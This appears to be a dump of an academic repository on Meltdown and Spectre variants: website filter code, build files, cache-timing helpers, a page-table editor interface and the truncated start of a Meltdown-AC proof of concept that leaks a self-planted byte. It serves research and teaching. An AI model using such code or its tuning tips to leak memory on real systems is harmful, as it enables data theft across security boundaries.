unique + " [label=\"" + name + "\",shape=" + shape + "];\n"; 127 | defined.push(unique); 128 | } 129 | 130 | if(node_obj.father !== null) { 131 | var funique = makeUnique(index[node_obj.father]); 132 | content += funique + " -> " + unique + ";\n"; 133 | } 134 | 135 | } 136 | 137 | var footer = "}\n"; 138 | 139 | var tikz = header + content + footer; 140 | var blob = new Blob([ tikz ], {type:"text/x-dot;charset=utf-8"}); 141 | window.saveAs(blob, "tree.dot"); 142 | } 143 | 144 | -------------------------------------------------------------------------------- /docs/js/filter.js: -------------------------------------------------------------------------------- 1 | var index = {}; 2 | function buildIndex() { 3 | index = {}; 4 | for(let node of data) { 5 | if(index[node.id] !== undefined) { 6 | alert("Duplicate ID " + node.id + ": " + node.title + " and " + index[node.id].title); 7 | } 8 | index[node.id] = node; 9 | } 10 | } 11 | 12 | function hasParent(node, parent_id) { 13 | var parent = node; 14 | while(parent !== undefined && parent.father != null) { 15 | parent = index[parent.father]; 16 | if(parent === undefined) return false; 17 | if(parent.id == parent_id) return true; 18 | } 19 | return false; 20 | } 21 | 22 | function hasChild(node, child_id) { 23 | var child = index[child_id]; 24 | return hasParent(child, node.id); 25 | } 26 | 27 | function toggleMeltdownSpectre(meltdown, spectre, filterInclude) { 28 | current_data = []; 29 | for(let node of data) { 30 | var is_meltdown = hasParent(node, 3) || node.id == 3; 31 | var is_spectre = hasParent(node, 2) || node.id == 2; 32 | if((spectre && is_spectre) || (meltdown && is_meltdown) || (!is_meltdown && !is_spectre)) { 33 | if(filterInclude(node)) { 34 | current_data.push(node); 35 | } 36 | } 37 | } 38 | // remove empty groups 39 | var removed; 40 | do { 41 | removed = 0; 42 | var has_children = {}; 43 | for(let node of current_data) { 44 | if(node.father !== null) has_children[node.father] = true; 45 | } 46 | var cleaned_data = []; 47 | for(let node of current_data) { 48 | if(has_children[node.id] !== undefined || node.color != color.group) { 49 | cleaned_data.push(node); 50 | } else { 51 | removed++; 52 | } 53 | } 54 | current_data = cleaned_data; 55 | } while(removed); 56 | 57 | tree.refresh(current_data); 58 | } 59 | 60 | function recursiveFlatten(input) { 61 | result = ""; 62 | if(typeof(input) == "string") { 63 | result += input + " "; 64 | } 65 | else if(typeof(input) == "object") { 66 | if(Array.isArray(input)) { 67 | for(let element of input) { 68 | result += recursiveFlatten(element) + " "; 69 | } 70 | } else { 71 | for(let key of Object.keys(input)) { 72 | result += recursiveFlatten(input[key]) + " "; 73 | } 74 | } 75 | } 76 | return result; 77 | } 78 | 79 | function filter() { 80 | var show_meltdown = $("#toggleMeltdown").prop("checked"); 81 | var show_spectre = $("#toggleSpectre").prop("checked"); 82 | var show_todo = $("#toggleTodo").prop("checked"); 83 | var show_fails = $("#toggleFails").prop("checked"); 84 | var show_working = $("#toggleWorking").prop("checked"); 85 | 86 | // var show_paper = $("#togglePaper").prop("checked"); 87 | // var show_nopaper = $("#toggleNoPaper").prop("checked"); 88 | 89 | var show_l1 = $("#toggleL1").prop("checked"); 90 | var show_lfb = $("#toggleLFB").prop("checked"); 91 | var show_sb = $("#toggleSB").prop("checked"); 92 | var show_lp = $("#toggleLP").prop("checked"); 93 | var show_reg = $("#toggleREG").prop("checked"); 94 | var show_mem = $("#toggleMEM").prop("checked"); 95 | 96 | var show_intel = $("#toggleIntel").prop("checked"); 97 | var show_arm = $("#toggleARM").prop("checked"); 98 | var show_amd = $("#toggleAMD").prop("checked"); 99 | //var show_ibm = $("#toggleIBM").prop("checked"); 100 | 101 | var search_term = $("#search").val(); 102 | var has_search = search_term.trim().length > 0; 103 | var show_poc = $("#togglePoC").prop("checked"); 104 | var show_nopoc = $("#toggleNoPoC").prop("checked"); 105 | var search_popup = 0; 106 | 107 | toggleMeltdownSpectre(show_meltdown, show_spectre, function(node) { 108 | var is_leaf = node.color != color.group && node.color != color.root; 109 | 110 | if(node.todo !== undefined && node.color == color.todo && !show_todo) 111 | return false; 112 | if(node.color == color.fails && !show_fails) 113 | return false; 114 | if(node.color == color.works && !show_working) 115 | return false; 116 | 117 | /* 118 | var has_paper = false; 119 | if(node.sources !== undefined) { 120 | for(let s of node.sources) { 121 | if(s.conference !== undefined) { 122 | has_paper = true; 123 | break; 124 | } 125 | } 126 | } 127 | if(has_paper && !show_paper && is_leaf) 128 | return false; 129 | if(!has_paper && !show_nopaper && is_leaf) 130 | return false; 131 | */ 132 | 133 | if(node.poc !== undefined && node.poc.length > 0 && is_leaf && !show_poc) 134 | return false; 135 | if((node.poc === undefined || node.poc.length == 0) && is_leaf && !show_nopoc) 136 | return false; 137 | 138 | var include = false; 139 | if(node.affects !== undefined) { 140 | for(let a of node.affects) { 141 | if(a.title === "Intel" && show_intel) { 142 | include = true; 143 | break; 144 | } 145 | if(a.title === "AMD" && show_amd) { 146 | include = true; 147 | break; 148 | } 149 | if(a.title === "ARM" && show_arm) { 150 | include = true; 151 | break; 152 | } 153 | /*if(a.title === "IBM" && show_ibm) { 154 | include = true; 155 | break; 156 | }*/ 157 | } 158 | if (!include) return false; 159 | } 160 | 161 | var has_l1 = node.title.indexOf("-L1") != -1; 162 | var has_lfb = node.title.indexOf("-LFB") != -1; 163 | var has_sb = node.title.indexOf("-SB") != -1; 164 | var has_lp = node.title.indexOf("-LP") != -1; 165 | var has_reg = node.title.indexOf("-REG") != -1; 166 | var has_mem = !has_l1 && !has_lfb && !has_sb && !has_lp && !has_reg && (node.color == color.works); 167 | 168 | if(has_l1 && is_leaf && !show_l1) 169 | return false; 170 | if(has_lfb && is_leaf && !show_lfb) 171 | return false; 172 | if(has_sb && is_leaf && !show_sb) 173 | return false; 174 | if(has_lp && is_leaf && !show_lp) 175 | return false; 176 | if(has_reg && is_leaf && !show_reg) 177 | return false; 178 | if(has_mem && is_leaf && !show_mem) 179 | return false; 180 | 181 | if(has_search && is_leaf) 182 | { 183 | if(node.description.toLowerCase().indexOf(search_term.toLowerCase()) == -1 && 184 | node.title.toLowerCase().indexOf(search_term.toLowerCase()) == -1 && 185 | (node.alias||"").toLowerCase().indexOf(search_term.toLowerCase()) == -1 && 186 | (node.affects||[]).map(x => x.title||x).join(" ").toLowerCase().indexOf(search_term.toLowerCase()) == -1 && 187 | (node.names||[]).map(x => x.title||x).join(" ").toLowerCase().indexOf(search_term.toLowerCase()) == -1 && 188 | recursiveFlatten(node.sources).toLowerCase().indexOf(search_term.toLowerCase()) == -1 && 189 | (node.cve||[]).map(x => x.title||x).join(" ").toLowerCase().indexOf(search_term.toLowerCase()) == -1 && 190 | (node.poc||[]).map(x => x.title||x).join(" ").toLowerCase().indexOf(search_term.toLowerCase()) == -1 191 | ) 192 | return false; 193 | /* automatically popup the first leaf hit when searching */ 194 | else if(!search_popup) 195 | { 196 | search_popup = 1; 197 | popup(node); 198 | } 199 | } 200 | 201 | return true; 202 | } 203 | ); 204 | } 205 | -------------------------------------------------------------------------------- /docs/js/tree.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function(e) { 2 | $('[data-toggle="popover"]').popover(); 3 | $('[data-toggle="tooltip"]').tooltip(); 4 | }); 5 | 6 | $(document).on('click', '[data-toggle="lightbox"]', function(event) { 7 | event.preventDefault(); 8 | $(this).ekkoLightbox(); 9 | }); 10 | 11 | -------------------------------------------------------------------------------- /pocs/Makefile: -------------------------------------------------------------------------------- 1 | all: libcache/cacheutils.h libpte/libpte.a meltdown/US meltdown/P meltdown/RW meltdown/NM meltdown/GP meltdown/PK meltdown/DE meltdown/SS meltdown/UD meltdown/AC meltdown/BR spectre/pht/sa_ip spectre/pht/sa_oop spectre/pht/ca_ip spectre/pht/ca_oop spectre/btb/sa_ip spectre/btb/sa_oop spectre/btb/ca_ip spectre/rsb/sa_ip spectre/rsb/sa_oop spectre/rsb/ca_ip spectre/rsb/ca_oop spectre/stl 2 | 3 | libcache/cacheutils.h: libcache/cache.h libcache/cache.c 4 | cd libcache && make 5 | 6 | libpte/libpte.a: 7 | cd libpte && make 8 | 9 | meltdown/US: meltdown/US/main.c libpte/libpte.a libcache/cacheutils.h 10 | cd meltdown/US && make 11 | 12 | meltdown/P: meltdown/P/main.c libpte/libpte.a libcache/cacheutils.h 13 | cd meltdown/P && make 14 | 15 | meltdown/RW: meltdown/RW/main.c libpte/libpte.a libcache/cacheutils.h 16 | cd meltdown/RW && make 17 | 18 | meltdown/NM: meltdown/NM/main.c meltdown/NM/victim.c meltdown/NM/secret.h libcache/cacheutils.h 19 | cd meltdown/NM && make 20 | 21 | meltdown/GP: meltdown/GP/main.c meltdown/GP/module/kernel_module.c libcache/cacheutils.h 22 | cd meltdown/GP && make 23 | 24 | meltdown/PK: meltdown/PK/main.c libcache/cacheutils.h 25 | cd meltdown/PK && make 26 | 27 | meltdown/DE: meltdown/DE/main.c libcache/cacheutils.h 28 | cd meltdown/DE && make 29 | 30 | meltdown/SS: meltdown/SS/main.c libcache/cacheutils.h 31 | cd meltdown/SS && make 32 | 33 | meltdown/UD: meltdown/UD/main.c libcache/cacheutils.h 34 | cd meltdown/UD && make 35 | 36 | meltdown/AC: meltdown/AC/main.c libcache/cacheutils.h 37 | cd meltdown/AC && make 38 | 39 | meltdown/BR: meltdown/BR/main.c libcache/cacheutils.h 40 | cd meltdown/BR && make 41 | 42 | spectre/pht/sa_ip: spectre/PHT/sa_ip/main.c libcache/cacheutils.h 43 | cd spectre/PHT/sa_ip && make 44 | 45 | spectre/pht/sa_oop: spectre/PHT/sa_oop/main.c libcache/cacheutils.h 46 | cd spectre/PHT/sa_oop && make 47 | 48 | spectre/pht/ca_ip: spectre/PHT/ca_ip/main.c libcache/cacheutils.h 49 | cd spectre/PHT/ca_ip && make 50 | 51 | spectre/btb/sa_ip: spectre/BTB/sa_ip/main.cpp libcache/cacheutils.h 52 | cd spectre/BTB/sa_ip && make 53 | 54 | spectre/btb/sa_oop: spectre/BTB/sa_oop/main.c libcache/cacheutils.h 55 | cd spectre/BTB/sa_oop && make 56 | 57 | spectre/btb/ca_ip: spectre/BTB/ca_ip/main.cpp libcache/cacheutils.h 58 | cd spectre/BTB/ca_ip && make 59 | 60 | spectre/pht/ca_oop: spectre/PHT/ca_oop/main.c libcache/cacheutils.h 61 | cd spectre/PHT/ca_oop && make 62 | 63 | spectre/rsb/sa_ip: spectre/RSB/sa_ip/main.c libcache/cacheutils.h 64 | cd spectre/RSB/sa_ip && make 65 | 66 | spectre/rsb/sa_oop: spectre/RSB/sa_oop/main.c libcache/cacheutils.h 67 | cd spectre/RSB/sa_oop && make 68 | 69 | spectre/rsb/ca_ip: spectre/RSB/ca_ip/main.c libcache/cacheutils.h 70 | cd spectre/RSB/ca_ip && make 71 | 72 | spectre/rsb/ca_oop: spectre/RSB/ca_oop/main.c libcache/cacheutils.h 73 | cd spectre/RSB/ca_oop && make 74 | 75 | spectre/stl: spectre/STL/main.c libcache/cacheutils.h 76 | cd spectre/STL/ && make 77 | 78 | clean: 79 | cd libcache && make clean 80 | cd libpte && make clean 81 | cd meltdown/US && make clean 82 | cd meltdown/P && make clean 83 | cd meltdown/RW && make clean 84 | cd meltdown/NM && make clean 85 | cd meltdown/GP && make clean 86 | cd meltdown/PK && make clean 87 | cd meltdown/DE && make clean 88 | cd meltdown/SS && make clean 89 | cd meltdown/UD && make clean 90 | cd meltdown/AC && make clean 91 | cd meltdown/BR && make clean 92 | cd spectre/PHT/sa_ip && make clean 93 | cd spectre/PHT/sa_oop && make clean 94 | cd spectre/PHT/ca_ip && make clean 95 | cd spectre/PHT/ca_oop && make clean 96 | cd spectre/BTB/sa_ip && make clean 97 | cd spectre/BTB/sa_oop && make clean 98 | cd spectre/BTB/ca_ip && make clean 99 | cd spectre/RSB/sa_ip && make clean 100 | cd spectre/RSB/sa_oop && make clean 101 | cd spectre/RSB/ca_ip && make clean 102 | cd spectre/RSB/ca_oop && make clean 103 | cd spectre/STL/ && make clean 104 | -------------------------------------------------------------------------------- /pocs/get_hyperthread_pair.sh: -------------------------------------------------------------------------------- 1 | #!/bin/zsh 2 | 3 | setopt extendedglob 4 | 5 | cd /sys/devices/system/cpu/ 6 | 7 | for i in cpu[0-9]##; do 8 | package=`cat $i/topology/physical_package_id` 9 | core=`cat $i/topology/core_id` 10 | 11 | cpu_id="${i#cpu}" 12 | 13 | config="$package-$core" 14 | if (( ${+target_config} )); then 15 | if [[ $target_config == $config ]]; then 16 | echo "$first_cpu_id $cpu_id" 17 | break 18 | fi 19 | else 20 | target_config="$config" 21 | first_cpu_id="$cpu_id" 22 | fi 23 | done 24 | -------------------------------------------------------------------------------- /pocs/libcache/Makefile: -------------------------------------------------------------------------------- 1 | all: header 2 | 3 | header: cache.c cache.h 4 | cat cache.h cache.c | sed 's/#include ".*"//g' > cacheutils.h 5 | 6 | clean: 7 | rm -f cacheutils.h 8 | -------------------------------------------------------------------------------- /pocs/libcache/cache.h: -------------------------------------------------------------------------------- 1 | #ifndef _CACHEUTILS_H_ 2 | #define _CACHEUTILS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #define ARM_PERF 1 15 | #define ARM_CLOCK_MONOTONIC 2 16 | #define ARM_TIMER 3 17 | 18 | /* ============================================================ 19 | * User configuration 20 | * ============================================================ */ 21 | static size_t CACHE_MISS = 0; 22 | static size_t pagesize = 0; 23 | char *mem; 24 | 25 | #define USE_RDTSC_BEGIN_END 0 26 | 27 | #define USE_RDTSCP 1 28 | 29 | #define ARM_CLOCK_SOURCE ARM_CLOCK_MONOTONIC 30 | 31 | /* ============================================================ 32 | * User configuration End 33 | * ============================================================ */ 34 | 35 | 36 | // --------------------------------------------------------------------------- 37 | static size_t perf_fd; 38 | void perf_init(); 39 | 40 | #if defined(__x86_64__) 41 | // --------------------------------------------------------------------------- 42 | uint64_t rdtsc(); 43 | 44 | // --------------------------------------------------------------------------- 45 | uint64_t rdtsc_begin(); 46 | 47 | // --------------------------------------------------------------------------- 48 | uint64_t rdtsc_end(); 49 | 50 | // --------------------------------------------------------------------------- 51 | void flush(void *p); 52 | 53 | // --------------------------------------------------------------------------- 54 | void maccess(void *p); 55 | 56 | // --------------------------------------------------------------------------- 57 | void mfence(); 58 | 59 | // --------------------------------------------------------------------------- 60 | void nospec(); 61 | 62 | #include 63 | // --------------------------------------------------------------------------- 64 | unsigned int xbegin(); 65 | 66 | // --------------------------------------------------------------------------- 67 | void xend(); 68 | 69 | // --------------------------------------------------------------------------- 70 | int has_tsx(); 71 | 72 | // --------------------------------------------------------------------------- 73 | void maccess_tsx(void* ptr); 74 | 75 | #elif defined(__i386__) 76 | // --------------------------------------------------------------------------- 77 | uint32_t rdtsc(); 78 | 79 | // --------------------------------------------------------------------------- 80 | void flush(void *p); 81 | 82 | // --------------------------------------------------------------------------- 83 | void maccess(void *p); 84 | 85 | // --------------------------------------------------------------------------- 86 | void mfence(); 87 | 88 | // --------------------------------------------------------------------------- 89 | void nospec(); 90 | 91 | #include 92 | // --------------------------------------------------------------------------- 93 | int has_tsx(); 94 | 95 | #elif defined(__aarch64__) 96 | #if ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 97 | #include 98 | #endif 99 | 100 | // --------------------------------------------------------------------------- 101 | uint64_t rdtsc(); 102 | 103 | // --------------------------------------------------------------------------- 104 | uint64_t rdtsc_begin(); 105 | 106 | // --------------------------------------------------------------------------- 107 | uint64_t rdtsc_end(); 108 | 109 | // --------------------------------------------------------------------------- 110 | void flush(void *p); 111 | 112 | // --------------------------------------------------------------------------- 113 | void maccess(void *p); 114 | 115 | // --------------------------------------------------------------------------- 116 | void mfence(); 117 | 118 | // --------------------------------------------------------------------------- 119 | void nospec(); 120 | 121 | #elif defined(__PPC64__) 122 | #include 123 | uint64_t rdtsc(); 124 | 125 | // --------------------------------------------------------------------------- 126 | uint64_t rdtsc_begin(); 127 | 128 | // --------------------------------------------------------------------------- 129 | uint64_t rdtsc_end(); 130 | 131 | // --------------------------------------------------------------------------- 132 | void flush(void *p); 133 | 134 | // --------------------------------------------------------------------------- 135 | void maccess(void *p); 136 | 137 | // --------------------------------------------------------------------------- 138 | void mfence(); 139 | 140 | // --------------------------------------------------------------------------- 141 | void nospec(); 142 | #endif 143 | 144 | // --------------------------------------------------------------------------- 145 | int flush_reload(void *ptr); 146 | 147 | // --------------------------------------------------------------------------- 148 | int flush_reload_t(void *ptr); 149 | 150 | // --------------------------------------------------------------------------- 151 | int reload_t(void *ptr); 152 | 153 | // --------------------------------------------------------------------------- 154 | size_t detect_flush_reload_threshold(); 155 | 156 | // --------------------------------------------------------------------------- 157 | void maccess_speculative(void* ptr); 158 | 159 | // --------------------------------------------------------------------------- 160 | jmp_buf trycatch_buf; 161 | 162 | // --------------------------------------------------------------------------- 163 | void unblock_signal(int signum __attribute__((__unused__))); 164 | 165 | // --------------------------------------------------------------------------- 166 | void trycatch_segfault_handler(int signum); 167 | 168 | // --------------------------------------------------------------------------- 169 | int try_start(); 170 | 171 | // --------------------------------------------------------------------------- 172 | void try_end(); 173 | 174 | // --------------------------------------------------------------------------- 175 | void try_abort(); 176 | 177 | // --------------------------------------------------------------------------- 178 | void cache_encode(char data); 179 | 180 | // --------------------------------------------------------------------------- 181 | void cache_decode_pretty(char *leaked, int index); 182 | 183 | // --------------------------------------------------------------------------- 184 | void flush_shared_memory(); 185 | #endif 186 | -------------------------------------------------------------------------------- /pocs/libpte/.gitignore: -------------------------------------------------------------------------------- 1 | # ---> C 2 | # Object files 3 | *.o 4 | *.ko 5 | *.obj 6 | *.elf 7 | 8 | # Precompiled Headers 9 | *.gch 10 | *.pch 11 | 12 | # Libraries 13 | *.lib 14 | *.a 15 | *.la 16 | *.lo 17 | 18 | # Shared objects (inc. Windows DLLs) 19 | *.dll 20 | *.so 21 | *.so.* 22 | *.dylib 23 | 24 | # Executables 25 | *.exe 26 | *.out 27 | *.app 28 | *.i*86 29 | *.x86_64 30 | *.hex 31 | 32 | # Debug files 33 | *.dSYM/ 34 | 35 | -------------------------------------------------------------------------------- /pocs/libpte/Makefile: -------------------------------------------------------------------------------- 1 | all: pteditor ptedit.o header libpte.a 2 | 3 | header: module/pteditor.c module/pteditor.h ptedit.c ptedit.h 4 | cat module/pteditor.h ptedit.h ptedit.c | \ 5 | sed -e 's/#include ".*"//g' -e "1i // Warning: this file was generated by make. DO NOT EDIT!" > ptedit_header.h 6 | 7 | pteditor: module/pteditor.c 8 | cd module && make 9 | 10 | ptedit.o: ptedit.c ptedit.h 11 | gcc -Wall -Wextra ptedit.c -c 12 | 13 | libpte.a: ptedit.o 14 | ar rcs libpte.a ptedit.o 15 | 16 | clean: 17 | cd module && make clean 18 | rm -f example *.o *.a 19 | -------------------------------------------------------------------------------- /pocs/libpte/module/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += pteditor.o 2 | ccflags-y += -Wno-unused-result 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | clean: 6 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 7 | 8 | -------------------------------------------------------------------------------- /pocs/libpte/module/pteditor.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef PTEDITOR_MODULE_H 4 | #define PTEDITOR_MODULE_H 5 | 6 | #if defined(__linux__) || defined(__linux) || defined(__unix__) || defined(LINUX) || defined(UNIX) 7 | #define LINUX 8 | #endif 9 | #if defined(_WIN32) || defined(_WIN64) || defined(__MINGW32__) || defined(__CYGWIN__) 10 | #define WINDOWS 11 | #undef LINUX 12 | #endif 13 | 14 | 15 | #include 16 | 17 | #if defined(LINUX) 18 | #define PTEDITOR_DEVICE_NAME "pteditor" 19 | #define PTEDITOR_DEVICE_PATH "/dev/" PTEDITOR_DEVICE_NAME 20 | #else 21 | #define PTEDITOR_DEVICE_NAME L"PTEditorLink" 22 | #define PTEDITOR_DEVICE_PATH L"\\\\.\\" PTEDITOR_DEVICE_NAME 23 | #endif 24 | 25 | /** 26 | * Structure containing the page-table entries of all levels. 27 | * The Linux names are aliased with the Intel names. 28 | */ 29 | typedef struct { 30 | /** Process ID */ 31 | size_t pid; 32 | /** Virtual address */ 33 | size_t vaddr; 34 | 35 | /** Page global directory / Page map level 5 */ 36 | union { 37 | size_t pgd; 38 | size_t pml5; 39 | }; 40 | /** Page directory 4 / Page map level 4 */ 41 | union { 42 | size_t p4d; 43 | size_t pml4; 44 | }; 45 | /** Page upper directory / Page directory pointer table */ 46 | union { 47 | size_t pud; 48 | size_t pdpt; 49 | }; 50 | /** Page middle directory / Page directory */ 51 | union { 52 | size_t pmd; 53 | size_t pd; 54 | }; 55 | /** Page table entry */ 56 | size_t pte; 57 | /** Bitmask indicating which entries are valid/should be updated */ 58 | size_t valid; 59 | } ptedit_entry_t; 60 | 61 | /** 62 | * Structure to read/write physical pages 63 | */ 64 | #if defined(LINUX) 65 | typedef struct { 66 | /** Page-frame number */ 67 | size_t pfn; 68 | /** Virtual address */ 69 | size_t vaddr; 70 | /** Page size */ 71 | size_t size; 72 | /** Page content */ 73 | unsigned char* buffer; 74 | } ptedit_page_t; 75 | #else 76 | __pragma(pack(push, 1)) 77 | typedef struct { 78 | char content[4096]; 79 | size_t paddr; 80 | } ptedit_page_t; 81 | __pragma(pack(pop)) 82 | #endif 83 | 84 | 85 | /** 86 | * Structure to get/set the root of paging 87 | */ 88 | typedef struct { 89 | /** Process id */ 90 | size_t pid; 91 | /** Physical address of paging root */ 92 | size_t root; 93 | } ptedit_paging_t; 94 | 95 | #define PTEDIT_VALID_MASK_PGD (1<<0) 96 | #define PTEDIT_VALID_MASK_P4D (1<<1) 97 | #define PTEDIT_VALID_MASK_PUD (1<<2) 98 | #define PTEDIT_VALID_MASK_PMD (1<<3) 99 | #define PTEDIT_VALID_MASK_PTE (1<<4) 100 | 101 | #define PTEDITOR_TLB_INVALIDATION_KERNEL 0 102 | #define PTEDITOR_TLB_INVALIDATION_CUSTOM 1 103 | 104 | #if defined(LINUX) 105 | #define PTEDITOR_IOCTL_MAGIC_NUMBER (long)0x3d17 106 | 107 | #define PTEDITOR_IOCTL_CMD_VM_RESOLVE \ 108 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 1, size_t) 109 | 110 | #define PTEDITOR_IOCTL_CMD_VM_UPDATE \ 111 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 2, size_t) 112 | 113 | #define PTEDITOR_IOCTL_CMD_VM_LOCK \ 114 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 3, size_t) 115 | 116 | #define PTEDITOR_IOCTL_CMD_VM_UNLOCK \ 117 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 4, size_t) 118 | 119 | #define PTEDITOR_IOCTL_CMD_READ_PAGE \ 120 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 5, size_t) 121 | 122 | #define PTEDITOR_IOCTL_CMD_WRITE_PAGE \ 123 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 6, size_t) 124 | 125 | #define PTEDITOR_IOCTL_CMD_GET_ROOT \ 126 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 7, size_t) 127 | 128 | #define PTEDITOR_IOCTL_CMD_SET_ROOT \ 129 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 8, size_t) 130 | 131 | #define PTEDITOR_IOCTL_CMD_GET_PAGESIZE \ 132 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 9, size_t) 133 | 134 | #define PTEDITOR_IOCTL_CMD_INVALIDATE_TLB \ 135 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 10, size_t) 136 | 137 | #define PTEDITOR_IOCTL_CMD_GET_PAT \ 138 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 11, size_t) 139 | 140 | #define PTEDITOR_IOCTL_CMD_SET_PAT \ 141 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 12, size_t) 142 | 143 | #define PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION \ 144 | _IOR(PTEDITOR_IOCTL_MAGIC_NUMBER, 13, size_t) 145 | #else 146 | #define PTEDITOR_READ_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) 147 | #define PTEDITOR_WRITE_PAGE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_READ_DATA) 148 | #define PTEDITOR_GET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) 149 | #define PTEDITOR_FLUSH_TLB CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS) 150 | #define PTEDITOR_READ_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS) 151 | #define PTEDITOR_WRITE_PHYS_VAL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS) 152 | #define PTEDITOR_SET_CR3 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS) 153 | #define PTEDITOR_SET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_BUFFERED, FILE_ANY_ACCESS) 154 | #define PTEDITOR_GET_PAT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS) 155 | #endif 156 | 157 | #endif // PTEDITOR_MODULE_H 158 | -------------------------------------------------------------------------------- /pocs/meltdown/AC/Makefile: -------------------------------------------------------------------------------- 1 | all: x86 2 | 3 | x86: main_x86 4 | arm: main_arm 5 | 6 | main_x86: main.c 7 | gcc main.c -o poc_x86 -O3 -I../../ 8 | 9 | main_arm: main.c 10 | aarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../ 11 | 12 | clean: 13 | rm -f poc_* 14 | -------------------------------------------------------------------------------- /pocs/meltdown/AC/README.md: -------------------------------------------------------------------------------- 1 | # Meltdown-AC PoC 2 | 3 | This folder contains a Meltdown-AC proof-of-concept implementation for x86_64. 4 | 5 | ## Compile 6 | 7 | Compile using `make x86` for the x86_64 version. 8 | 9 | ## Run 10 | 11 | Run with `./poc_x86` for x86_64. 12 | 13 | If the PoC is successfull the output is 14 | ``` 15 | S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S 16 | ``` 17 | 18 | ## How it works 19 | In this PoC, we first enable a char buffer via malloc (malloc always returns aligned memory) and increment by one. We then enable alignment checking by setting the corresponding bit in the EFLAGS register. To get an unaligned memory access, we access our incremented char buffer as an int pointer, causing it to be unaligned. We then try to encode the result in the cache. Exception suppression is done either via Intel TSX or segfault handling. 20 | 21 | ## Troubleshooting 22 | 23 | * The output is garbage (mostly just (random letters)) 24 | + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 25 | 26 | * The program does not leak anything 27 | + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores. 28 | + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1". 29 | + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. 30 | -------------------------------------------------------------------------------- /pocs/meltdown/AC/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "libcache/cacheutils.h" 10 | 11 | #define SUPPRESS_FAULT 1 12 | #define SECRET 'S' 13 | 14 | #if defined(__i386__) 15 | #define ENABLE_AC \ 16 | __asm__("pushf\norl $0x40000,(%esp)\npopf") 17 | #define DISABLE_AC \ 18 | __asm__("pushf\nandl $~(0x40000),(%esp)\npopf") 19 | #else 20 | #define ENABLE_AC \ 21 | __asm__("pushf\norl $0x40000,(%rsp)\npopf") 22 | #define DISABLE_AC \ 23 | __asm__("pushf\nandl $~(0x40000),(%rsp)\npopf") 24 | #endif 25 | 26 | int main(void) { 27 | char *buffer; 28 | int *p; 29 | pagesize = sysconf(_SC_PAGESIZE); 30 | mem = (char*) malloc(pagesize * 256); 31 | memset(mem, 1, pagesize * 256); 32 | 33 | /* https://en.wikipedia.org/wiki/Bus_error */ 34 | /* malloc() always provides aligned memory */ 35 | buffer = malloc(sizeof(int) + 1); 36 | 37 | /* Increment the pointer by one, making it misaligned */ 38 | buffer++; 39 | *buffer = SECRET; 40 | printf("buffer contains: %d\n", *buffer); 41 | p = (int *) buffer; 42 | 43 | // Determine cache threshold 44 | if(!CACHE_MISS) 45 | CACHE_MISS = detect_flush_reload_threshold(); 46 | printf("[\x1b[33m*\x1b[0m] Flush+Reload Threshold: \x1b[33m%zd\x1b[0m\n", CACHE_MISS); 47 | 48 | // Flush our shared memory 49 | flush_shared_memory(); 50 | 51 | printf("Output legend:\n"); 52 | printf(" '0'.....Unaligned access sets register to 0\n"); 53 | printf(" '%c'.....Unaligned access leaks register value\n", '0' + *buffer); 54 | 55 | for(int r = 0; r < 1000000; r++) { 56 | // Make sure data is in cache 57 | 